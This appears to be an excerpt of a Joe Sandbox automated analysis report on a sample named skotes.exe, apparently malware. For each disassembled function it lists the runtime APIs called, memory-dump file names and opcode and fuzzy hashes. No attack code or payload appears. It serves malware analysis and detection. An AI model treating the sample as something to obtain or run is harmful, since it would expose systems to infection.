Function 0064CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0064CC66

Strings

vd, xrefs: 0064CBE1

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vd
API String ID: 3213747228-3616272301
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: a460c0b09a48e37c6ee6a9d3c2e6fdbd8bcf807612c28d6bbace3128253b6885
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 20B10232D066459FDB55CF28C881BEEBBE7EF45360F1441AAE855EB341D6348D02CBA4

Function 00612EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00612F5F
__Mtx_unlock.LIBCPMT ref: 00612FCC
__Cnd_broadcast.LIBCPMT ref: 00612FE3
__Mtx_unlock.LIBCPMT ref: 006130F5
__Mtx_unlock.LIBCPMT ref: 0061319B

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 9164bf77744288e150209721828d7f16bd5e822fb2be1a500afcdccee2ca71b1
Instruction ID: b7405b99c402927f77947860a41ba0b3e575ce6ff365c6ed10a7dddbe51b4276
Opcode Fuzzy Hash: 9164bf77744288e150209721828d7f16bd5e822fb2be1a500afcdccee2ca71b1
Instruction Fuzzy Hash: 78A1F270901A26EFDB10DF64D9457DAB7EAFF19320F188129E816D7341EB31EA84CB91

Function 0062BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0062BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0062BBE4
_xtime_get.LIBCPMT ref: 0062BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0062BC13

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 58fd67c4c11203932cf14b05111fb7094349591e679eb1b5a4820c573e917f48
Instruction ID: 544551bdc226d239f300b9b3947630fadadfc86e669365350b3237f1a9ad1a81
Opcode Fuzzy Hash: 58fd67c4c11203932cf14b05111fb7094349591e679eb1b5a4820c573e917f48
Instruction Fuzzy Hash: E9213271A00529AFDF40EFA4ED819BEB7BAEF08720F101029F901B7251DB709D419FA4

Function 0064F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0064F3A3

Strings

8"g, xrefs: 0064F44B
`'g, xrefs: 0064F375

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"g$`'g
API String ID: 3903695350-151162620
Opcode ID: 8006c1cbe04065090410a99767146c77c67963709850ba2cc05367a8a9fd8417
Instruction ID: 54d7d7944e58c16dcaffaa2bb04a10d0618e493d9590c52a280c8a87ccc0f0a1
Opcode Fuzzy Hash: 8006c1cbe04065090410a99767146c77c67963709850ba2cc05367a8a9fd8417
Instruction Fuzzy Hash: 74315A32A00201EFEB61AF79D845B9B73EBEF04352F10442DF049D7696DE70AC808B59

Analysis Process: skotes.exePID: 6628, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1846
Total number of Limit Nodes:	15

Executed Functions

Function 0064652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0064652A,?,?,?,?,?,00647661), ref: 00646567

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: eca42d7d99b22480b7cdae76845be149ba73bf6698123af9d25f9ab9aaffb5ee
Instruction ID: a8c51ac8ca576b924ed37afaa26c31a823bc097d29e06733e9406cc32b81fbd4
Opcode Fuzzy Hash: eca42d7d99b22480b7cdae76845be149ba73bf6698123af9d25f9ab9aaffb5ee
